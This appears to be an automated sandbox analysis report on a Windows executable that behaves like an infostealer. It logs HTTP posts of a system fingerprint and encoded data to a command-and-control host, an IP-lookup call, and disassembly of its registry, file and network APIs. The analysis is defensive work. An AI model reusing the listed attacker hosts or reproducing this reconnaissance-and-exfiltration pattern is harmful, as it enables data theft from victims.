                                                        Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 37 30 37 35 38 35 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED]
                                                        Data Ascii: { "ip": "8.46.123.189", "current_time": "1734707585", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 50, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 332 }, { "name": "csrss.exe", "pid": 420 }, { "name": "wininit.exe", "pid": 496 }, { "name": "csrss.exe", "pid": 504 }, { "name": "winlogon.exe", "pid": 564 }, { "name": "services.exe", "pid": 632 }, { "name": "lsass.exe", "pid": 640 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 780 }, { "name": "fontdrvhost.exe", "pid": 788 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 924 }, { "name": "dwm.exe", "pid": 992 }, { "name": "svchost.exe", "pid": 444 }, { "name": "svchost.exe", "pid": 732 }, { "name": "svchost.exe", "pid": 280 }, { "name": "svchost.exe", "pid": [TRUNCATED]
                                                        Dec 20, 2024 16:13:40.298970938 CET4944OUTData Raw: 2b 4c 6e 78 33 38 47 36 78 6f 4e 6d 62 36 2b 76 76 68 68 59 66 44 5c 2f 34 36 5c 2f 45 50 34 63 2b 47 44 64 7a 33 74 7a 66 36 6c 71 6e 68 71 36 30 54 77 31 70 55 54 2b 49 62 32 37 75 4c 75 31 31 56 35 49 64 61 6b 5c 2f 77 42 4b 74 4c 36 38 5c 2f
                                                        Data Ascii: +Lnx38G6xoNmb6+vvhhYfD\/46\/EP4c+GDdz3tzf6lqnhq60Tw1pUT+Ib27uLu11V5Idak\/wBKtL68\/NSv6h8KPFzhPxe4f\/tvhuvOjicNKFHOMkxkqcczyfFTi5QhiKcJSjVw2IUZywWOo3w+KjCpFOniaGJw9D+PvGXwQ418DeJ3w\/xXh6dfCYyE8RkXEOBjVllGe4SnJRnUwtWpGMqOLwznCGPy6uo4nBznSm1VwuIw
                                                        Dec 20, 2024 16:13:40.299093008 CET12360OUTData Raw: 33 32 5c 2f 77 43 6e 37 69 44 33 5c 2f 77 41 6e 6a 36 31 5a 62 59 33 2b 77 5c 2f 38 41 79 31 34 5c 2f 4c 4a 2b 6e 5c 2f 77 42 66 76 55 58 2b 72 33 37 48 6b 38 6e 5c 2f 41 4d 67 66 35 2b 68 6f 4f 67 6a 38 77 76 73 52 2b 50 58 79 5c 2f 77 44 48 6e
                                                        Data Ascii: 32\/wCn7iD3\/wAnj61ZbY3+w\/8Ay14\/LJ+n\/wBfvUX+r37Hk8n\/AMgf5+hoOgj8wvsR+PXy\/wDHn\/PNDh\/SPr\/rHlHkfT1xT2jd9iP9\/wA391c\/6j\/Pvn\/69RN950d\/+2n4UAQLGf4Cd4jJ8yT\/ANtLT+n5Y5o4\/wCmf\/TX\/nh\/19Xf4dP54qaOORm2\/u2eP0z0FQx\/NJ\/f8vtJ68\/096z9n5\/h
                                                        Dec 20, 2024 16:13:40.299434900 CET7416OUTData Raw: 71 45 56 32 33 75 33 77 6f 38 53 61 4a 34 6d 2b 46 76 67 48 57 50 44 75 72 61 66 72 65 6c 58 50 68 50 51 6b 68 31 44 54 4c 71 47 38 74 58 6b 74 74 4f 67 74 72 6d 48 7a 6f 47 5a 56 6e 74 62 6d 4b 61 33 75 37 64 79 73 31 74 63 52 79 32 38 38 63 63
                                                        Data Ascii: qEV23u3wo8SaJ4m+FvgHWPDurafrelXPhPQkh1DTLqG8tXkttOgtrmHzoGZVntbmKa3u7dys1tcRy288cc0bIOm8V\/s1eAvire3GsaX8SPin8OLrxHouk6X8V9A+EfjqDwpp\/xKsLTTodOgt\/Hdg+l6pe2WptpcI0NvFnhS48JeNLvw9Fa6NJ4lm0vT9Kgsv+WD6K+aYnhrxm8VcRicXXyLEUsj4l4ZxjxWW4nFzwzzjN3g8
                                                        Dec 20, 2024 16:13:40.418803930 CET2472OUTData Raw: 36 5c 2f 63 6a 5c 2f 41 4e 56 35 66 70 30 5c 2f 5c 2f 58 5c 2f 6a 51 61 65 30 38 76 78 5c 2f 34 41 4e 73 2b 52 33 68 33 70 5c 2f 30 30 50 54 5c 2f 41 4b 65 76 58 76 56 62 37 76 33 48 2b 66 38 41 35 36 66 38 38 66 38 41 36 5c 2f 38 41 6e 6e 76 5a
                                                        Data Ascii: 6\/cj\/ANV5fp0\/\/X\/jQae08vx\/4ANs+R3h3p\/00PT\/AKevXvVb7v3H+f8A56f88f8A6\/8AnnvZ+7H8iY4x+\/5\/0f8Az26\/jTSpVXfyekf8zWntPL8f+AaB\/tt8\/mfuv3f\/AC19P8agj\/6af8s\/s\/7uMHp\/z9D\/ADz1qaSPcqPvk+vmDjn7J7fYvxHSoY18v5ETyf3tx5Uf+v8A+XX9eenFZgH9\/wD65
                                                        Dec 20, 2024 16:13:40.418864012 CET4944OUTData Raw: 63 4d 46 6d 4f 49 6f 77 71 30 63 75 78 39 57 68 36 48 4a 59 7a 4b 50 6c 54 65 6e 30 2b 75 65 70 48 62 36 31 43 59 6e 55 34 5a 53 76 31 46 54 32 65 6f 32 74 31 47 4a 74 50 75 72 61 36 68 4f 4d 53 32 73 38 56 78 47 66 54 45 6b 54 4d 70 79 50 66 70
                                                        Data Ascii: cMFmOIowq0cux9Wh6HJYzKPlTen0+uepHb61CYnU4ZSv1FT2eo2t1GJtPura6hOMS2s8VxGfTEkTMpyPfp7Vofaiy7Jk87+v49v84r7eMYSSlGXNGSunFxcWu6aVmvmfnUpVoScJpxlF2kpc0Zr1i0rPyaMSit3VdNGn\/BPxV+0AZNCPgPwT8TNR+GPiizh1yQ+M9IvdK0rwXqF\/4sufDsmlpbP4GtL\/AOIvgXwzea3a6zcX
                                                        Dec 20, 2024 16:13:40.419527054 CET7416OUTData Raw: 2f 67 74 7a 2b 30 5a 32 2b 46 58 77 4e 48 31 30 33 34 68 48 2b 58 78 42 57 6f 7a 5c 2f 77 41 46 75 50 32 6b 75 33 77 74 2b 42 49 2b 75 6b 5c 2f 45 51 5c 2f 79 2b 49 79 31 2b 4f 58 68 69 78 31 58 78 6c 70 5c 2f 77 5c 2f 77 42 53 38 4f 48 77 37 64
                                                        Data Ascii: /gtz+0Z2+FXwNH1034hH+XxBWoz\/wAFuP2ku3wt+BI+uk\/EQ\/y+Iy1+OXhix1Xxlp\/w\/wBS8OHw7dQ\/EX4l\/EH4ZaXFf+JItDOh3fwq+HXhD4r\/ABD8Z+MtV1mxsvCvhX4c+EfAXjG08Ra94t1PxGkOkadpWt3mp2lnZWcNzdR+IZvBmmeEn+IXhD4w\/CP4y+A7DxNbeEPE\/ib4V33xNiHgnXtX02\/1bwvD4q0D4
                                                        Dec 20, 2024 16:13:40.460881948 CET27192OUTData Raw: 42 66 54 50 2b 43 6d 33 69 5c 2f 58 5c 2f 41 4e 6e 5c 2f 41 4d 57 36 37 38 53 5c 2f 68 6a 34 31 30 48 57 66 69 36 76 37 58 36 66 46 54 34 38 65 41 34 76 47 48 77 31 38 4e 5c 2f 45 58 34 58 2b 44 70 66 32 61 48 2b 49 46 72 38 44 64 61 2b 4b 66 69
                                                        Data Ascii: BfTP+Cm3i\/X\/ANn\/AMW678S\/hj410HWfi6v7X6fFT48eA4vGHw18N\/EX4X+Dpf2aH+IFr8Dda+Kfia+0bSl0nUb7Wz5\/4l\/aD+IPhf4RfF74o+Jfj5r\/AMZvjj+y94vkH7MvxZ0a+8a+ItI+KvxR\/bB8Dah4U0q31LWPi3pnhj4gi5+CXiz4fa3+0n4Ktdc8N6Drkl\/ZeM5L6zYSwQy+tL4a8OqpRdA0VUbO5F0qx
                                                        Dec 20, 2024 16:13:40.580748081 CET8652OUTData Raw: 31 6e 78 47 49 45 31 71 36 6b 31 65 77 75 66 37 48 32 5c 2f 7a 47 31 5c 2f 62 50 2b 79 5a 38 4c 5c 2f 32 6a 64 5a 5c 2f 34 4e 31 50 46 33 67 6a 52 62 50 54 4e 5a 2b 4c 6e 78 4e 38 41 5c 2f 47 79 77 5c 2f 5a 39 38 4b 33 79 77 57 50 6a 50 55 76 67
                                                        Data Ascii: 1nxGIE1q6k1ewuf7H2\/zG1\/bP+yZ8L\/2jdZ\/4N1PF3gjRbPTNZ+LnxN8A\/Gyw\/Z98K3ywWPjPUvgb4l8ZDxF438F+H\/OSTVdd1fxX4X0T4l+LvC+i6eJP7Z0+\/wDCdssaWttbz2\/8TTKyMyOrK6sVZWBVlZThlZTghgQQQRkHg1+hcdZfhcHhuEq+Fy+OB\/tDh7DYyr7PCww8ZVKkacnRqTppfWcRR5vazrVnLFSo
                                                        Dec 20, 2024 16:13:40.624979973 CET1236OUTData Raw: 34 55 78 6d 54 35 4e 5c 2f 32 66 5a 4a 39 6e 36 66 54 76 64 5c 2f 7a 6f 4f 67 70 5c 2f 50 75 66 59 68 64 49 5c 2f 33 32 66 2b 65 4f 4f 68 5c 2f 45 66 6e 36 30 77 53 50 74 66 5a 5c 2f 77 42 74 66 4c 69 38 5c 2f 76 38 41 35 5c 2f 7a 30 6c 5c 2f 35
                                                        Data Ascii: 4UxmT5N\/2fZJ9n6fTvd\/zoOgp\/PufYhdI\/32f+eOOh\/Efn60wSPtfZ\/wBtfLi8\/v8A5\/z0l\/5ZJ8kj0u5P4P45fKl+z\/h9Mf59aDSn1+X6jdvyw\/6v\/W\/uvMi\/13\/X36GoPLTc6JDJ+7l\/e\/vf9V\/9f\/JParPz\/I0HmD\/yPm2\/+t3pnmImxP3aJHL5X\/Pfvj\/D+tBoVlkTaX2xv5cvb\/ll9f8A
                                                        Dec 20, 2024 16:13:40.834007025 CET1236OUTData Raw: 4e 2b 4b 33 67 37 52 34 37 66 55 66 45 4f 72 66 43 4c 34 61 69 4f 54 58 39 58 30 71 4c 53 4a 34 4c 69 44 78 74 72 39 76 6f 66 67 74 6f 74 52 30 2b 38 30 37 56 64 62 4d 39 76 59 33 58 70 47 70 5c 2f 38 45 63 5c 2f 67 54 6f 5c 2f 78 6d 74 76 32 65
                                                        Data Ascii: N+K3g7R47fUfEOrfCL4aiOTX9X0qLSJ4LiDxtr9vofgtotR0+807VdbM9vY3XpGp\/8Ec\/gTo\/xmtv2e9T\/AOCjXhXSvjHe+NtG+Hdr4J1r9k39oXR7ybxb4i1Oy0nQdPGpXtomhraavd6jYPp2utqg8P3dheW2rQ6o2lTJet9I\/wDBQn\/gqB47\/ZX+PH7WnwQ+B3w0tfAv7SXik+FPhj8Vv2sbn4kaz4x1vT\/BOk+Cv
                                                        Dec 20, 2024 16:13:41.455035925 CET212INHTTP/1.0 503 Service Unavailable
                                                        Cache-Control: no-cache
                                                        Connection: close
                                                        Content-Type: text/html
                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 0a 4e 6f 20 73 65 72 76 65 72 20 69 73 20 61 76 61 69 6c 61 62 6c 65 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 69 73 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                        Data Ascii: <html><body><h1>503 Service Unavailable</h1>No server is available to handle this request.</body></html>


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        2192.168.2.549814185.121.15.192801892C:\Users\user\Desktop\u57m8aCdwb.exe
                                                        TimestampBytes transferredDirectionData
                                                        Dec 20, 2024 16:13:43.031569958 CET287OUTPOST /TQIuuaqjNpwYjtUvFojm1734579850 HTTP/1.1
                                                        Host: home.twentytk20ht.top
                                                        Accept: */*
                                                        Content-Type: application/json
                                                        Content-Length: 143
                                                        Data Raw: 7b 20 22 69 64 31 22 3a 20 22 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 5c 2f 68 31 3e 5c 6e 4e 6f 20 73 65 72 76 65 72 20 69 73 20 61 76 61 69 6c 61 62 6c 65 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 69 73 20 72 65 71 75 65 73 74 2e 5c 6e 3c 5c 2f 62 6f 64 79 3e 3c 5c 2f 68 74 6d 6c 3e 5c 6e 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 31 22 20 7d
                                                        Data Ascii: { "id1": "<html><body><h1>503 Service Unavailable<\/h1>\nNo server is available to handle this request.\n<\/body><\/html>\n", "data": "Done1" }
                                                        Dec 20, 2024 16:13:44.310794115 CET212INHTTP/1.0 503 Service Unavailable
                                                        Cache-Control: no-cache
                                                        Connection: close
                                                        Content-Type: text/html
                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 0a 4e 6f 20 73 65 72 76 65 72 20 69 73 20 61 76 61 69 6c 61 62 6c 65 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 69 73 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                        Data Ascii: <html><body><h1>503 Service Unavailable</h1>No server is available to handle this request.</body></html>


                                                        HTTPS Proxied Packets

                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        0192.168.2.54971498.85.100.804431892C:\Users\user\Desktop\u57m8aCdwb.exe
                                                        TimestampBytes transferredDirectionData
                                                        2024-12-20 15:13:05 UTC52OUTGET /ip HTTP/1.1
                                                        Host: httpbin.org
                                                        Accept: */*
                                                        2024-12-20 15:13:06 UTC224INHTTP/1.1 200 OK
                                                        Date: Fri, 20 Dec 2024 15:13:06 GMT
                                                        Content-Type: application/json
                                                        Content-Length: 31
                                                        Connection: close
                                                        Server: gunicorn/19.9.0
                                                        Access-Control-Allow-Origin: *
                                                        Access-Control-Allow-Credentials: true
                                                        2024-12-20 15:13:06 UTC31INData Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a
                                                        Data Ascii: { "origin": "8.46.123.189"}


                                                        Statistics

                                                        CPU Usage

                                                        Click to jump to process

                                                        Memory Usage

                                                        Click to jump to process

                                                        High Level Behavior Distribution

                                                        Click to dive into process behavior distribution

                                                        System Behavior

                                                        General

                                                        Target ID:0
                                                        Start time:10:12:58
                                                        Start date:20/12/2024
                                                        Path:C:\Users\user\Desktop\u57m8aCdwb.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:"C:\Users\user\Desktop\u57m8aCdwb.exe"
                                                        Imagebase:0x500000
                                                        File size:4'455'936 bytes
                                                        MD5 hash:0E6E12F9A9C017B4BE17933AEACD543C
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:low
                                                        Has exited:true

                                                        Disassembly

                                                        Reset < >

                                                          Execution Graph

                                                          Execution Coverage:2.3%
                                                          Dynamic/Decrypted Code Coverage:0%
                                                          Signature Coverage:20.3%
                                                          Total number of Nodes:246
                                                          Total number of Limit Nodes:37
                                                          execution_graph 58046 538b50 58047 538b6b 58046->58047 58064 538bb5 58046->58064 58048 538bf3 58047->58048 58049 538b8f 58047->58049 58047->58064 58066 53a550 58048->58066 58085 516e40 select __WSAFDIsSet __WSAFDIsSet __WSAFDIsSet 58049->58085 58052 538bfc 58055 538c35 58052->58055 58056 538c1f connect 58052->58056 58063 538cb2 58052->58063 58052->58064 58053 538cd9 SleepEx 58060 538d14 58053->58060 58054 53a150 getsockname 58062 538dff 58054->58062 58081 53a150 58055->58081 58056->58055 58059 538d43 58061 53a150 getsockname 58059->58061 58060->58059 58060->58063 58061->58064 58062->58064 58086 5078b0 closesocket 58062->58086 58063->58054 58063->58062 58063->58064 58065 538ba1 58065->58053 58065->58063 58065->58064 58067 53a575 58066->58067 58071 53a597 58067->58071 58088 5075e0 58067->58088 58069 5078b0 closesocket 58070 53a713 58069->58070 58070->58052 58072 53a811 setsockopt 58071->58072 58077 53a83b 58071->58077 58079 53a69b 58071->58079 58072->58077 58074 53af56 58075 53af5d 58074->58075 58074->58079 58075->58070 58076 53a150 getsockname 58075->58076 58076->58070 58077->58079 58080 53abe1 58077->58080 58094 536be0 select __WSAFDIsSet __WSAFDIsSet __WSAFDIsSet closesocket 58077->58094 58079->58069 58079->58070 58080->58079 58093 5667e0 ioctlsocket 58080->58093 58082 53a15f 58081->58082 58084 53a1d0 58081->58084 58083 53a181 getsockname 58082->58083 58082->58084 58083->58084 58084->58065 58085->58065 58087 5078c5 58086->58087 58087->58064 58089 507607 socket 58088->58089 58090 5075ef 58088->58090 58091 50762b 58089->58091 58090->58089 58092 507643 58090->58092 58091->58071 58092->58071 58093->58074 58094->58080 58231 5395b0 58232 5395c8 58231->58232 58234 5395fd 58231->58234 58233 53a150 getsockname 58232->58233 58232->58234 58233->58234 58095 502f17 58103 502f2c 58095->58103 58096 5031d3 58097 502fb3 RegOpenKeyExA 58097->58103 58098 50315c RegEnumKeyExA 58099 5031b2 RegCloseKey 58098->58099 58098->58103 58099->58103 58100 503046 RegOpenKeyExA 58101 503089 RegQueryValueExA 58100->58101 58100->58103 58102 50313b RegCloseKey 58101->58102 58101->58103 58102->58103 58103->58096 58103->58097 58103->58098 58103->58100 58103->58102 58104 5031d7 58107 5031f4 58104->58107 58105 503200 58106 5032dc CloseHandle 58106->58105 58107->58105 58107->58106 58108 98ca50 58111 98ca9a 58108->58111 58109 98cab3 58111->58109 58119 888f70 58111->58119 58113 98cba0 58126 88b4e0 _lock 58113->58126 58115 98cb56 58116 98cb94 58115->58116 58127 88b4e0 _lock 58115->58127 58117 98cbc9 58128 888e90 _open 58119->58128 58121 888f82 58122 888e90 _open 58121->58122 58123 888fa2 58122->58123 58124 888f70 _open 58123->58124 58125 888fb8 58124->58125 58125->58113 58125->58115 58126->58117 58127->58117 58129 888eba 58128->58129 58129->58121 58235 88b160 Sleep 58130 50255d 58131 889f70 58130->58131 58132 50256c GetSystemInfo 58131->58132 58133 502589 58132->58133 58134 5025a0 GlobalMemoryStatusEx 58133->58134 58139 5025ec 58134->58139 58135 50263c GetDriveTypeA 58137 502655 GetDiskFreeSpaceExA 58135->58137 58135->58139 58136 502762 58138 5027d6 KiUserCallbackDispatcher 58136->58138 58137->58139 58140 5027f8 58138->58140 58139->58135 58139->58136 58141 5028d9 FindFirstFileW 58140->58141 58142 502906 FindNextFileW 58141->58142 58143 502928 58141->58143 58142->58142 58142->58143 58144 503d5e 58145 503d30 58144->58145 58145->58144 58146 503d90 58145->58146 58148 510ab0 58145->58148 58151 5105b0 58148->58151 58150 510acd 58150->58145 58152 5105bd 58151->58152 58155 5107c7 58151->58155 58153 510707 WSAEventSelect 58152->58153 58154 5107ef 58152->58154 58152->58155 58169 5076a0 58152->58169 58153->58152 58153->58155 58154->58155 58160 510847 58154->58160 58161 516fa0 58154->58161 58155->58150 58158 5109e8 WSAEnumNetworkEvents 58159 5109d0 WSAEventSelect 58158->58159 58158->58160 58159->58158 58159->58160 58160->58155 58160->58158 58160->58159 58162 516fd4 58161->58162 58163 516feb 58161->58163 58162->58163 58164 517207 select 58162->58164 58163->58160 58164->58163 58168 517233 58164->58168 58165 51726b __WSAFDIsSet 58166 51729a __WSAFDIsSet 58165->58166 58165->58168 58167 5172ba __WSAFDIsSet 58166->58167 58166->58168 58167->58168 58168->58163 58168->58165 58168->58166 58168->58167 58170 5076c0 58169->58170 58171 5076e6 send 58169->58171 58170->58171 58172 5076c9 58170->58172 58171->58172 58172->58152 58236 5029ff FindFirstFileA 58237 502a31 58236->58237 58238 502a5c RegOpenKeyExA 58237->58238 58239 502a93 58238->58239 58240 502ade CharUpperA 58239->58240 58241 502b0a 58240->58241 58242 502bf9 QueryFullProcessImageNameA 58241->58242 58243 502c3b CloseHandle 58242->58243 58245 502c64 58243->58245 58244 502df1 CloseHandle 58246 502e23 58244->58246 58245->58244 58247 51d5e0 58248 51d652 WSAStartup 58247->58248 58249 51d5f0 58247->58249 58248->58249 58173 53b400 58174 53b425 58173->58174 58175 53b40b 58173->58175 58178 507770 58175->58178 58176 53b421 58179 507790 58178->58179 58180 5077b6 recv 58178->58180 58179->58180 58181 507799 58179->58181 58180->58181 58181->58176 58182 53e400 58183 53e459 58182->58183 58185 53e412 58182->58185 58186 5368b0 closesocket 58185->58186 58186->58183 58187 53b3c0 58188 53b3cb 58187->58188 58189 53b3ee 58187->58189 58191 5076a0 send 58188->58191 58193 539290 58188->58193 58190 53b3ea 58191->58190 58194 5076a0 send 58193->58194 58195 5392e5 58194->58195 58196 539335 WSAIoctl 58195->58196 58199 539392 58195->58199 58197 539366 58196->58197 58196->58199 58198 539371 setsockopt 58197->58198 58197->58199 58198->58199 58199->58190 58250 5b4720 58254 5b4728 58250->58254 58251 5b4733 58253 5b4774 58254->58251 58259 5b476c 58254->58259 58260 5b9270 58254->58260 58256 5b4860 58263 5b4950 58256->58263 58258 5b4878 58259->58258 58267 5b30a0 closesocket 58259->58267 58268 5ba440 58260->58268 58262 5b9297 58262->58256 58264 5b4966 58263->58264 58265 5b4aa0 gethostname 58264->58265 58266 5b49c5 58264->58266 58265->58264 58265->58266 58266->58259 58267->58253 58269 5ba46b 58268->58269 58271 5ba48b GetAdaptersAddresses 58269->58271 58303 5ba4db 58269->58303 58270 5baa03 RegOpenKeyExA 58272 5bab70 RegOpenKeyExA 58270->58272 58273 5baa27 RegQueryValueExA 58270->58273 58284 5ba4a6 58271->58284 58302 5ba53f 58271->58302 58276 5bac34 RegOpenKeyExA 58272->58276 58298 5bab90 58272->58298 58274 5baacc RegQueryValueExA 58273->58274 58275 5baa71 58273->58275 58277 5bab0e 58274->58277 58278 5bab66 RegCloseKey 58274->58278 58275->58274 58283 5baa85 RegQueryValueExA 58275->58283 58279 5bacf8 RegOpenKeyExA 58276->58279 58300 5bac54 58276->58300 58277->58278 58285 5bab1e RegQueryValueExA 58277->58285 58278->58272 58280 5bad56 RegEnumKeyExA 58279->58280 58292 5bad14 58279->58292 58282 5bad9b 58280->58282 58280->58292 58281 5ba4f3 GetAdaptersAddresses 58294 5ba505 58281->58294 58281->58302 58286 5bae16 RegOpenKeyExA 58282->58286 58287 5baab3 58283->58287 58284->58281 58284->58303 58290 5bab4c 58285->58290 58288 5baddf RegEnumKeyExA 58286->58288 58289 5bae34 RegQueryValueExA 58286->58289 58287->58274 58288->58286 58288->58292 58293 5baf43 RegQueryValueExA 58289->58293 58304 5badaa 58289->58304 58290->58278 58291 5ba527 GetAdaptersAddresses 58291->58302 58291->58303 58292->58262 58295 5bb052 RegQueryValueExA 58293->58295 58293->58304 58294->58291 58294->58303 58297 5badc7 RegCloseKey 58295->58297 58295->58304 58296 5ba794 GetBestRoute2 58296->58302 58297->58288 58298->58276 58299 5bafa0 RegQueryValueExA 58299->58304 58300->58279 58301 5ba6c7 GetBestRoute2 58301->58302 58302->58296 58302->58301 58302->58303 58303->58270 58303->58292 58304->58293 58304->58295 58304->58297 58304->58299 58305 5b70a0 58307 5b70ae 58305->58307 58308 5b717f 58307->58308 58310 5b71a7 58307->58310 58312 5ca8c0 58307->58312 58316 5b71c0 socket ioctlsocket connect getsockname 58307->58316 58308->58310 58317 5c9320 closesocket 58308->58317 58313 5ca8e6 58312->58313 58314 5ca903 recvfrom 58312->58314 58313->58314 58315 5ca8ed 58313->58315 58314->58315 58315->58307 58316->58307 58317->58310 58200 5ca080 58203 5c9740 58200->58203 58202 5ca09b 58204 5c9780 58203->58204 58208 5c975d 58203->58208 58205 5c9925 RegOpenKeyExA 58204->58205 58204->58208 58206 5c995a RegQueryValueExA 58205->58206 58205->58208 58207 5c9986 RegCloseKey 58206->58207 58207->58208 58208->58202 58209 5cb180 58210 5cb19b 58209->58210 58212 5cb2e3 58209->58212 58210->58212 58214 5cb2a9 getsockname 58210->58214 58216 5cb020 closesocket 58210->58216 58217 5caf30 58210->58217 58221 5cb060 58210->58221 58226 5cb020 58214->58226 58216->58210 58218 5caf4c 58217->58218 58219 5caf63 socket 58217->58219 58218->58219 58220 5caf52 58218->58220 58219->58210 58220->58210 58225 5cb080 58221->58225 58222 5cb0b0 connect 58223 5cb0bf WSAGetLastError 58222->58223 58224 5cb0ea 58223->58224 58223->58225 58224->58210 58225->58222 58225->58223 58225->58224 58227 5cb029 58226->58227 58228 5cb052 58226->58228 58229 5cb04b closesocket 58227->58229 58230 5cb03e 58227->58230 58228->58210 58229->58228 58230->58210 58318 5ca920 58319 5ca944 58318->58319 58320 5ca94b 58319->58320 58321 5ca977 send 58319->58321

                                                          Executed Functions

                                                          Function 0053F100 Relevance: 20.1, Strings: 15, Instructions: 1304COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: %s assess started=%d, result=%d$%s connect -> %d, connected=%d$%s connect timeout after %lldms, move on!$%s done$%s starting (timeout=%lldms)$%s trying next$Connected to %s (%s) port %u$Connection time-out$Connection timeout after %lld ms$Failed to connect to %s port %u after %lld ms: %s$all eyeballers failed$connect.c$created %s (timeout %lldms)$ipv4$ipv6
                                                          • API String ID: 0-1590685507
                                                          • Opcode ID: ca6691ef59338e9e9389399867b01347acd0413b5b67c4be8ea4519cd744b57e
                                                          • Instruction ID: 4a565be978c853f912168cf8c1b897fae315c137388dd6ae61a6e03e03858925
                                                          • Opcode Fuzzy Hash: ca6691ef59338e9e9389399867b01347acd0413b5b67c4be8ea4519cd744b57e
                                                          • Instruction Fuzzy Hash: E9C2C331A043459FD714CF28C485B6ABBE1BF84318F15CA6DED999B2A2D770ED84CB81
                                                          Function 0050255D Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 282fileCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          APIs
                                                          • GetSystemInfo.KERNELBASE ref: 00502579
                                                          • GlobalMemoryStatusEx.KERNELBASE ref: 005025CC
                                                          • GetDriveTypeA.KERNELBASE ref: 00502647
